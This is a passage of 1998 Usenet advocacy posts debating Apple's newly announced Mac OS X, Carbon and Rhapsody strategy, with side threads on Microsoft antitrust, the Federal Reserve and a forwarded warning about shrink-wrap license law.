References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com>
M Rassbach <mark@milestonerdl.com> writes:
>Pulsar wrote:
>> In aIt's not all that Copland-like since Carbon will break nearly all current
>> Mac OS apps.
>Smacks of Microsoft.
>Lets change the OS so it breaks everybodys Apps. Then, the users can pay the
>application makers to un-break things.
>(the only problem with the above is there is a non-breaking way to run the old
>code...or at least that's what I heard.)
Actually pre-carbon apps will still run, just w/o PMT, PM, etc...
Guanyao Cheng
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: Ken MacLeod <ken@bitsko.slc.ut.us>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 14:57:05 -0500
Organization: PSINet
Message-ID: <m3lns860oe.fsf@biff.bitsko.slc.ut.us>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3>
rex@smallandmighty.com (Eric King) writes:
In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
> :Shhhhh. Unix will be the underpinning. We'll just remove the
> :command line, grep-sed-awk-vi, and CALL it MacOS X. No one will
> :know the difference.
> One could argue that if you take those things away, that you
> don't really have 'unix' anymore.
Heh heh, that's a switch. It's usually ``well, how much do we have
add before you'll let us call it Unix'' (i.e. POSIX), now it's ``how
much will you let us take away before you won't let us call it Unix
anymore.''
--
Ken MacLeod
ken@bitsko.slc.ut.us
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Software licenses
Date: 11 May 1998 20:28:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6j7n0h$6fq@newsb.netnews.att.com>
Originator: gupta@tlctest
While we argue about Microsoft and free market nonsense,
our freedom is being taken from us.
-arun gupta
Forward :
>From: Richard Stallman >Newsgroups: gnu.announce
>Subject: New danger of shrink-wrap licenses
>Followup-To: gnu.misc.discuss
>Date: Sat, 25 Apr 1998 01:24:33 -0600
[The GNU project is re-posting this message because we oppose the
planned anti-user changes in the Uniform Commercial Code. Please
forward this to other newsgroups and mailing lists, where
appropriate.]
>Date: Tue, 21 Apr 1998 10:44:30 -0400
>From: "Matt Samsonoff" >To: gnu@gnu.org
>Subject: Freedom for software consumers.
Hello,
Your organization supports the freedom of programmers to write programs,
but what about freedom for software consumers?
The Uniform Commercial Code Article 2B, which has been in the drafting
stage for several years, gives software companies the ability to screw
over their customers. The current UCC prevents companies from taking
consumer rights away in the fine print of contracts but article 2B will
allow them to write anything they want into the contract.. and they will
be able to enforce it. Software companies will take away as many
consumer rights as they can.
Here's a brief list of items that publishers will be able to put in
their licenses (this list is taken from Cem Kaner's web site,
http://www.badsoftware.com/ali.html):
- Prohibition against publishing detailed criticisms of the software.
- Prohibition against reverse engineering.
- Prohibition against decompiling the software.
- Prohibition (via the ban of reverse engineering) against developing
products that are interoperable with this one.
- Restrictions on the nature or purposes of use of the product.
- Restrictions against competition.
- Publisher has choice of law (entirely unrestricted to whatever state
or country the publisher chooses)
- Publisher has choice of forum (the publisher can choose that you
have to sue them in Nigeria).
Cem Kaner has a web site with several papers that he has written on the
subject:
http://www.badsoftware.com/.
ZDNet has written a few articles on this subject:
http://www.zdnet.com/anchordesk/story/story_1992.html
http://www.zdnet.com/zdnn/content/inwk/0435/161310.html
Article 2B is a threat to anyone who uses a computer. I just wanted to
make sure your organization is aware of it.
Thanks,
Matt
--
===================================================================
Matt Samsonoff mailto:matt@bluelobster.com
Blue Lobster Software http://www.bluelobster.com
Cascade Centre Tel : 716-546-3550 x252
72 Cascade Drive Fax : 716-546-5488
Rochester, NY 14614
"If at first you don't succeed,
destroy all evidence that you tried."
===================================================================
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: Mon, 11 May 1998 14:45:47 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3557556B.4D48191F@milestonerdl.com>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu>
Mime-Version: 1.0
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Matt Kennel wrote:
> Why are they porting the old-fangled MacOS Toolbox to Rhapsody?
>
> There's essentially only one--very important--reason.
>
> MS Office life support.
Wow! What a spin on carbon.
> What I hope has not been Steved:
>
> * Yellow Box API
Can't kill that...only support for it.
> * BSD
Rumor....am hoping there will be some announcemnts on this.
> * running on Intel
Offically - it's NT 4.0/Win95/Intel for Rhapsody.
If MacOS 10 is the eventually destination of Rhapsody on PPC, what's the endgame
for Intel Rhapsody?
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 15:51:07 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com>
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In article <35574B32.2D3298EB@milestonerdl.com>, mark@milestonerdl.com wrote:
> Pulsar wrote:
>
> > In aIt's not all that Copland-like since Carbon will break nearly all
current
> > Mac OS apps.
>
> Smacks of Microsoft.
>
> Lets change the OS so it breaks everybodys Apps. Then, the users can pay the
> application makers to un-break things.
>
> (the only problem with the above is there is a non-breaking way to run the old
> code...or at least that's what I heard.)
I'm not too sure of that. If Mac OS apps are to be able to take advantage
of preemptive multitasking and protected memory with demand-paged virtual
memory, something _will_ break. There is no getting around it with the
current Mac OS architecture.
Copland wasn't even so ambitious as to provide all those features for old
applications. Look at what happened to it. If you think Apple has 5 years
to spend putting all its resources into getting a PMT/PM/VM OS to run old
Mac OS apps so that they take advantage of those features, then you're
loony.
If there is to be any progress in the Mac OS towards the buzzwords, then at
least some parts of it are going to have to be _scrapped_. I find it very
unlikely that a single-tasking OS written for another chip architecture
with various parts hacked together can be re-implemented to support
preemptive multitasking, protected memory, demand-paged virtual memory,
etc. without breaking a hell of a lot of applications. The work to do so is
not worth it when you can go to something new. Dragging that baggage along
is _not_ a good thing. Sometimes backwards compatability has to be
abandoned if there is to be any progress.
Having said all that, there will be the Blue Box to run old applications in
Mac OS X. These won't take advantage of PMT/PM/VM, but they will run.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 13:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17CAD54-99FF@206.165.43.2>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Pulsar <pulsar@springnet1.com> said:
>
>It's not all that Copland-like since Carbon will break nearly all current
>Mac OS apps. The goal in Copland was not to do that. The advantage to
>having Carbon (as far as I understand from the speech) is that it doesn't
>take all that much to modify a Mac OS app to work with Carbon. A Blue Box
>like thing will still be necessary to run all Mac OS apps (ie. the old
>ones), but then those apps will be stuck with the CMT and lack of PM
within
>the Blue Box. Carbon allows apps written for it to take advantage of all
>the buzzwords just like Yellow Box apps.
>
>Mac OS X sounds rather like Gershwin, Copland, OpenStep, and the Mac OS
>combined. That'll be neat if they can pull it off.
But non-Carbon (including emulated 68K, I wonder?) apps are supposed to
work with MacOS 10 also.
And why is this all that neat? It STILL fragments the MacOS market (carbon
vs non-Carbon) without providing a compelling reason for most MacOS
developers to use it (here's a hint: more than 1/2 of all installed
Macintoshes will NOT run Carbon applications because they are not
PowerMacs).
And I'd like to hear from professional (since apparently I don't count) Mac
developers:
are you pleased with the idea of losing your ability to run your apps on
pre-8.1-enabled Macintoshes?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 07:28:34 +1000
Organization: University of Queensland
Message-ID: <6j7qcj$pb9$1@nargun.cc.uq.edu.au>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com>
>Pulsar wrote:
>
>> In aIt's not all that Copland-like since Carbon will break nearly all
current
>> Mac OS apps.
>
>Smacks of Microsoft.
>
>Lets change the OS so it breaks everybodys Apps. Then, the users can pay
the
>application makers to un-break things.
You have *got* to be kidding. The biggest reason Win95 (and to a lesser
extent, NT) has most of the problems it does is because it goes to
extraordinary lengths *not* to break existing software (and hardware).
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 16:48:11 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104>
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You're overreacting! There are still things that are unclear! Making
definitive judgements based on this evidence is only going to get you
angry. The MacWeek article you point out doesn't agree entirely with other
accounts of the speech (particularly with regards to hardware support). You
seem to be misinterpretting what was said and seem to have missed some
things.
In article <ericb-1105981718430001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
>
> Apple announced today that its OS future is a revised MacOS "merged" with
> a Rhapsody core, but the telling feature is that it largely retains (and
> Apple is stressing) API compatibility with the current MacOS. So Apple is
> effectively telling developers, "Screw Rhapsody." Ought to make the
> NeXTies happy, right?
Rhapsody 1.0 is due for release in Q3 '98. That implies later this summer
or early fall. This was in the speech.
Mac OS X will include the Yellow Box API in addition to the "Carbon" API.
It will likely also come with the Blue Box to support older Mac OS apps.
Basically, this means that old Mac OS apps, Yellow Box apps, and Carbon
apps will run on Mac OS X. In the mean time, there will be Allegro (and an
update to this), Sonata, and Rhapsody.
> Apple also announced that this new OS will only run on G3 machines.
That's what macweek says. Apple's press release says that it "will be fully
optimized for Apple's PowerPC G3 based computers." That does not preclude
support for all other PowerMacs. Most of the other accounts of the speech
say the same thing or they make no mention of it. It's only your MacWeek
article that says 'only G3 PowerMacs'. This is unclear as of yet. Don't
make any hasty judgements on this. Wait until a little more information
becomes available.
> For those who say, "But Rhapsody will still ship!," I ask, where is
> Apple's modern mainstream OS? It sounds to me like Apple isn't going to
> encourage Rhapsody development. Instead, they're making users wait
> *another* year for *another* promised modern OS. Somebody at Apple has to
> stop these ridiculous course changes. They have to SHIP SOMETHING! They
> can't keep promising better and better stuff but never ship any of it.
Rhapsody is supposed to ship Q3 '98 according to the keynote address.
Rhapsody will ship! The Yellow Box will be present in Mac OS X too!
> [I concede the point that Rhapsody would likely have fewer native apps in
> 1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
> date. I am still very skeptical. Rhapsody + BlueBox should be a fair
> solution until MacOS X ships... I hope...]
Mac OS X just provides a way for developers of Mac OS software not to have
to entirely rewrite their programs to get PM/PMT/VM/etc. For those writing
new programs and for those who are going to rewrite their programs anyway,
the Yellow Box will be the best solution.
For those who weren't going to make the investment required for an entire
rewrite anyway, there is the Carbon API which will allow them to quickly
modify their current Mac OS apps to be able to take advantage of
PM/PMT/VM/etc.
> Big unanswered question from today: what happens to Rhapsody and the
> Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
> and x86, and will that be MacOS X or Rhapsody? Or both or neither?
Rhapsody will ship. There will likely always be something like Rhapsody
available... the Unix stuff is quite useful to Apple for certain markets.
Yellow Box will remain available. Mac OS X is just a merging of all the
technologies. It is not an utter replacement.
> BTW, kudos to George for being *almost* as correct on Rhapsody as he was
> with Copland. Sigh.
Let's not be too hasty there. Things may in fact be bad. Perhaps Apple will
drop the Yellow Box and Rhapsody and all that, but you can't conclude that
just based on today's news.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: Wesley Horner <wesman@azrael.uoregon.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 21:47:10 GMT
Organization: University of Oregon, Eugene
Message-ID: <6j7rku$cbc$1@pith.uoregon.edu>
References: <ericb-1105981718430001@132.236.171.104>
Eric Bennett <ericb@pobox.com> wrote:
> Apple announced today that its OS future is a revised MacOS "merged" with
> a Rhapsody core, but the telling feature is that it largely retains (and
> Apple is stressing) API compatibility with the current MacOS. So Apple is
> effectively telling developers, "Screw Rhapsody." Ought to make the
> NeXTies happy, right?
Whoa! Slow down. They didn't even get that into it yet. They didn't say
anything about screwing the next community. All I saw was the mac os toolbox
implemented on top of rhapsody. That would be in addition to the openstep
stuff that is already there. I for one am excited that there will be apps for
this thing that I am used to (photoshop, macromedia stuff, etc.). Don't judge
the software strategy untill you have heard the whole story.
wes
--
~~~~wesman@gladstone.uoregon.edu~~~~~~~~~~NeXTMail OK!~~~~~~~~~~~~~~~~
Vax a vicious creature known to eat 110AC and quotes through its
*DCL*. Vax are usually found in groups of Vaxen called clusters where
they lay in wait to ravage thier prey known as users.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fc037b16e250e8598969e@news.supernews.com>
Message-ID: <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>
Date: Mon, 11 May 1998 22:02:22 GMT
NNTP-Posting-Date: Mon, 11 May 1998 15:02:22 PDT
Organization: @Home Network
In <MPG.fc037b16e250e8598969e@news.supernews.com> Donald Brown wrote:
> I can go against Bill Gates. He's got lots of bucks that'll make it
> tough, but I can go against Bill Gates. If I go against Bill Clinton and
> Janet Reno, they've got the guns.
>
>
Images of STAC Electronics jump into my mind... sure, Big Guy :-)
> > Onto your dream... nice, warm, rewarding and naive. Netscape learned all
> > roads to success lead through Redmond. Sun has refused to go there and
built
> > there own road, Java. Apple built a better road but MS copied it. I'm
sure
> > you've engineered your road through Redmond or hope soon to be "in"
Redmond
> > (ie. bought/partnered).
>
> Nope. I intend to turn DOWN an offer from Bill at some point. I'll
> remind him that I beat him a few years back when we were competing for
> the Macintosh LAN Email market, and I'll beat him again.
>
> > I personally wish you all the luck in the world and hoped for audience for
> > your hard work and brilliant engineering. Protocols are like money.
Anyone
> > can print their own money and issue it. You just have to find someone
willing
> > to accept it. Success in the protocol business requires standards
acceptance
> > and widespread availability. The first expensive and the later a trip
through
> > Redmond. Sun's Java Standard the poster child of what happens when MS is
left
> > out of the process. You will most likely be asked to sacrifice your
financial
> > interest in your protocol in exchange for an audience that will listen.
>
> I may be asked. I won't accept.
>
This isn't 1984 and the introduction of the Mac here. Most of the wired World
is invested in MS technologies. Without a Mr. Bill plan and no collaboration
in the public sector, you must have one hell of an invention. Say does your
invention have anything to do with "Viagra"? :-)
> > A first born act of gifting your hard work into the public domain and
standards
> > body of the net.
>
> You mean, what you seem to want Microsoft to do with Windows?
>
What hard work on MS behalf? They didn't invent the browser, they bought one!
What browser market? They bought that too (loss leader style). We are two
steps away from all that wonderful content Bill Gates invested so heavily
being IEx.x only accessible. That's what I mean. But you said Windows...
changing goal posts? Yeah well, he didn't invent Windows, he copied that.
But I'm less concerned with Windows than I am "re-packaging" Internet access
as Windows.
> > So ultimately, you are willing to fight for one form of
> > bureaucracy over another. The final effect of which is to allow MS have
your
> > protocol gratis and you'll COMPETE just like all the rest of us with our
> > propellers hooked up to the "Big Grid" (ala WinXX). Enjoy your freedom!
>
> I will enjoy my freedom very much. Unless we wind up living under a
> Ministry of Technology where all protocols must be approved by a so-
> called independant group.
>
>
I think we're pretty much there for any protocol's affecting global
communications. Independent Software Vendors are free to cavort about using
whatever protocols suit their fancy. It's only when ISV's want to hook-up to
the mainstream that a Ministry of Technology wants to approve the process.
Typically, they want ownership and control... otherwise, they resort to a
hack they own.
-r
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 18:12:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104>
In article <ericb-1105981718430001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> Apple announced today that its OS future is a revised MacOS "merged" with
> a Rhapsody core, but the telling feature is that it largely retains (and
> Apple is stressing) API compatibility with the current MacOS. So Apple is
> effectively telling developers, "Screw Rhapsody."
Are they? I have yet to see any definitive statements on what it
_means_ to "merge MacOS and Rhapsody". e.g., will it be possible to
get BSD 4.4 underneath (possibly as an option)? Will the display
system be pure DPS with Carbon calls getting mapped to the DPS server
(which could be cool since you could then conceivably NSHost Carbon
apps to other hosts), or will it be like Yellow on Windows, with the
"native" MacOS display system and a DPS server drawing into just the
Yellow windows? Important questions have yet to be answered.. (I can
tell you that if I can't get Unix, I'm not running it.. I need Unix
too much for what I do. I also won't be pleased if the display system
isn't DPS.)
> Apple also announced that this new OS will only run on G3 machines. That
> screws just about everybody else.
No it doesn't. The old Mac OS will continue to be developed, and the
Carbon APIs will be available on Mac OS 8.
> Way to go, Apple. If Apple can actually pull this off, I probably won't
> care, but if this goes the way of Copland and Rhapsody, Apple's in big
> trouble, and each time they do this they lose more customers (at some
> point they're not going to have any left). This is just one more
> 90-degree course change in OS strategy, and is an excuse for another
> year's delay in delivering a real OS.
Merging their two OS strategies doesn't exactly sound like a "90-degree
course change" to me. It's what everyone _wanted_, AFAIK.
> For those who say, "But Rhapsody will still ship!," I ask, where is
> Apple's modern mainstream OS? It sounds to me like Apple isn't going to
> encourage Rhapsody development.
It depends on what you mean by "Rhapsody" development? Yellow? They
certainly haven't said they aren't going to encourage Yellow
development. (They haven't said that they will, either, but Stepwise
suggests otherwise.)
> Instead, they're making users wait
> *another* year for *another* promised modern OS.
Who's waiting?? You can buy Mac OS or Rhapsody in the meantime, and
the next time you upgrade your OS, you'll upgrade to OS X because that
will be the only one left. I fail to see how there's any waiting at
all involved here. Either way, if you get Mac OS or Rhapsody now,
you apps will still work on OS X.
> Somebody at Apple has to
> stop these ridiculous course changes. They have to SHIP SOMETHING!
Did you pay ANY attention AT ALL to what was actually said?? They are
shipping MacOS AND Rhapsody AND MacOS X.
> [I concede the point that Rhapsody would likely have fewer native apps in
> 1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
> date. I am still very skeptical.
Why are you skeptical of MacOS X's shipping date? It's still not clear
what it is, but it's either basically BlueBox on top of Mach (which they
already have in Rhapsody's BlueBox), or Rhapsody itself with Blue and
Yellow mixed on the same screen (perhaps minus some Unix).
> Big unanswered question from today: what happens to Rhapsody and the
> Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
> and x86, and will that be MacOS X or Rhapsody? Or both or neither?
Yup. Big unanswered questions. Why don't you wait and find out rather
than jumping to conclusions?
From: mcasse@rs6000.cmp.ilstu.edu (Matt Casselman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 22:13:29 GMT
Organization: UHS
Message-ID: <mcasse-2708561340350001@line8035.ras.ilstu.edu>
References: <ericb-1105981718430001@132.236.171.104>
In article <ericb-1105981718430001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> Apple announced today that its OS future is a revised MacOS "merged" with
> a Rhapsody core, but the telling feature is that it largely retains (and
> Apple is stressing) API compatibility with the current MacOS. So Apple is
> effectively telling developers, "Screw Rhapsody." Ought to make the
> NeXTies happy, right?
>
The problem with Rhapsody was no Native MacOS support. Apple fixed that
with killing Rhapsody.
> Apple also announced that this new OS will only run on G3 machines.
>
I've yet to see that MacOSX will only run on G3.
> [I concede the point that Rhapsody would likely have fewer native apps in
> 1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
> date. I am still very skeptical. Rhapsody + BlueBox should be a fair
> solution until MacOS X ships... I hope...]
>
MacOS with Mach underpinnings would be a great solution to have a GREAT
unified OS. From what I hear MacOSX will rock.
Remember MacOSX is still a year off.
--
Matt Casselman
mcasse@rs6000.cmp.ilstu.edu
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May8144249@slave.doubleu.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net>
<6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net>
<6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com>
<3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9>
<355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com>
In-reply-to: jrudd@cygnus.com's message of 8 May 1998 19:31:12 GMT
Date: 11 May 1998 17:50:46 -0500
In article <6ivmi0$822$1@cronkite.cygnus.com>,
jrudd@cygnus.com (John Rudd) writes:
In <355346C7.AB5A6546@nstar.net> "Michael J. Peck" wrote:
> Dave Walker wrote:
> > Hey... add me to it as well.
>
> Sorry, first you have to say something incredibly malicious and,
> frankly, sick, about an innocent group of people.
<...>
The sheepish users aren't innocent. They're as guilty as the
German citizens who knew what was happening to the Jews and quietly
allowed it to happen.
Was this a not-so-subtle attempt to cause the thread to implode? This
is as much of a stretch as the op-ed piece comparing Jerry Springer to
Pol Pot in a recent San Jose Mercury.
If you want to criticize my statements for being extremely hateful
toward MS, so be it. I know I'm being harsh, but I also know that
their practicies make them deserving of such treatment. But I have
targeted no innocent individuals.
My read on the entire "problem" is that it's not Microsoft's fault so
much as your's and mine. Not because of lack of evangelical fervor or
anything. Rather, I think that the vast majority of people who spend
the money to purchase the machine don't _really_ understand how the
dollars they are paying relate back to the return they'll get. In
that light, it's clearly more sane in some sense to purchase the
cheapest thing that will get the job done. For all the wonderful
features of things like NeXTSTEP, for most people NeXTSTEP only
improves their productivity like 5-10%.
Yours and my productivity might go up 100%, and since we're on the
computer almost all the time, it can let us get literally twice the
work done. Someone else's productivity may only go up 10% while using
the machine, and since they're really only actively using the computer
3 hours a day, they are only saving 15-20 minutes a day. Much less
compelling.
A couple years back, I decided to embark on a fitness program. I went
to Target (fairly cheap department store) and purchased their second
to cheapest bicycle for $110. I proceeded to ride it for the rest of
the summer. A month into the next riding season, I went to a bike
shop and picked up a $400+ bicycle, and was _very_ pleased with the
improvement.
It would have been nice to have the $400 bike earlier - but,
realistically, at that time I didn't know if I was going to ride it,
nor did I know how I was going to ride it, nor did I know what I
wanted in a bicycle.
Right now, software is still in the first stage booster phase. If it
isn't Microsoft, it's going to be some other company distributing the
crap. Once 70% penetration is reached, though, we'll start to see
things spread out and mature quite a bit. Look at automobiles.
People buying $35k sport-utility vehicles that sometimes are an active
_hinderance_ to their lifestyle, just because.
Give us ten or twenty years, and people will be buying the alternative
operating system as a lifesystem statement, with no real regard to
functionality. In fact, it's already started in some populations,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 14:01:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6j7ouc$e9n@nntp02.primenet.com>
References: <B17C8D50-7E886@206.165.43.134>
<non-advocacy groups removed>
Lawson English <english@primenet.com> wrote:
: So that's it?
We don't know, do we? The problem with these announcements is that they
are general enough to mean several things. I've been expecting the WWDC
announcements to contain similar fog.
: Factor out all the "bad" system/toolbox calls, add a few new ones, provide
: tools to make support for MacOS 10 (a skip of 9 saves time?), and
: everything is good?
Adjusting the MacOS API to get a path to PMT (etc.) is a great idea. The
sad thing is that it could have been done ten years ago. The idea is a
little easier to sell now, the result of changes in culture rather than
changes in technology.
: Rhapsody is now just a framework (I gather) to make developing for MacOS
: better?
Well if Carbon is made up of 6000 MacOS calls, it sounds more Blue than
Yellow. Teal, perhaps?
: Sounds like a $400 million solution to me.
A lot of energy has been spent in thes groups discussing how the Next OS
must change for the Mac mass market. I'd say our energy has been wasted.
The answer is apparently to tweak MacOS with bits of Next technology
rather than the reverse.
John
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 20:50:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6j7oa1$6jb@newsb.netnews.att.com>
References: <35522293.731DC4F3@alum.mit.edu> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <35548BFE.6E756E79@trilithon.com>
Originator: gupta@tlctest
Henry McGilton <henry@trilithon.com> wrote:
>Urban Myth Alert! The Federal Reserve is not a government
>body, any more than Federal Express is a government body.
See the following.
The mind boggles at this being defined as not a government
body. Is this the non-interventionists' idea of a
non-government body ? Is it that anything run by directly
elected representatives is "governmental" and anything
run by people nominated by elected representatives is
"non-governmental" ? Perhaps free-marketeers love the
European Union bureaucracy -- by the same token as the
Federal reserve, they are not a government body.
Since there seems to be quite a fuss about "governmental
interference" with the free market, such a body,
deemed to be non-governmental in the above quote,
would be sufficient to look into Microsoft-anti-trust issues,
in my opinion.
-arun gupta
********************************************************
Who founded the Federal Reserve : Congress
http://www.bog.frb.fed.us/aboutfrs.htm
About the Federal Reserve System
The Federal Reserve System is the central bank of the United
States. It was found by Congress in 1913 to provide the nation
with ... (blah, blah).
********************************************************
Who appoints members of the board ? : President and Senate
http://www.bog.frb.fed.us/bios/
Members of the Board of Governors :
The seven members of the Federal Reserve Board are nominated
by the President and confirmed by the Senate....
The Chairman and the Vice Chairman of the Board are named by
the President from among the members and are confirmed by the
Senate.
********************************************************
Does the Federal Reserve have the ability to sanction ?
http://www.bog.frb.fed.us/boarddocs/press/Enforcement/
Federal Reserve Board Enforcement actions :
March 25, 1998 :
Announcement of an Order of Assessment of a Civil Money
Penalty against the Habib Bank AG Zurich, Switzerland, ....
....
February 6, 1998 :
Announcement of an Order of Prohibition against Michael A. Lindahl,
a former office and institution affiliated party of the Heartland
Bank, Croton Ohio, a state member bank.
********************************************************
Does the Federal Reserve share responsibilities with other
parts of government ?
The Federal Reserve shares bank supervisory functions with
other government bodies (Office of the Comptroller of Currency,
FDIC, Office of Thrift Supervision, etc.:
see http://www.bog.frb.fed.us/pf/pdf/frspf5.pdf )
********************************************************
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 17:18:43 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1105981718430001@132.236.171.104>
http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
Apple announced today that its OS future is a revised MacOS "merged" with
a Rhapsody core, but the telling feature is that it largely retains (and
Apple is stressing) API compatibility with the current MacOS. So Apple is
effectively telling developers, "Screw Rhapsody." Ought to make the
NeXTies happy, right?
Apple also announced that this new OS will only run on G3 machines. That
screws just about everybody else. Of course, by the time they actually
ship the thing, given the usual delays (12 months for Rhapsody), maybe
this is okay. But this *really* ought to upset the people who are already
upset about the likelihood of not being able to run Rhapsody on their
first generation PMacs. What if they bought an 8600 so they could run
Rhapsody? Now Steve tells them they have to buy *another* Mac.
Ridiculous.
Way to go, Apple. If Apple can actually pull this off, I probably won't
care, but if this goes the way of Copland and Rhapsody, Apple's in big
trouble, and each time they do this they lose more customers (at some
point they're not going to have any left). This is just one more
90-degree course change in OS strategy, and is an excuse for another
year's delay in delivering a real OS. (Rhapsody was the excuse we got
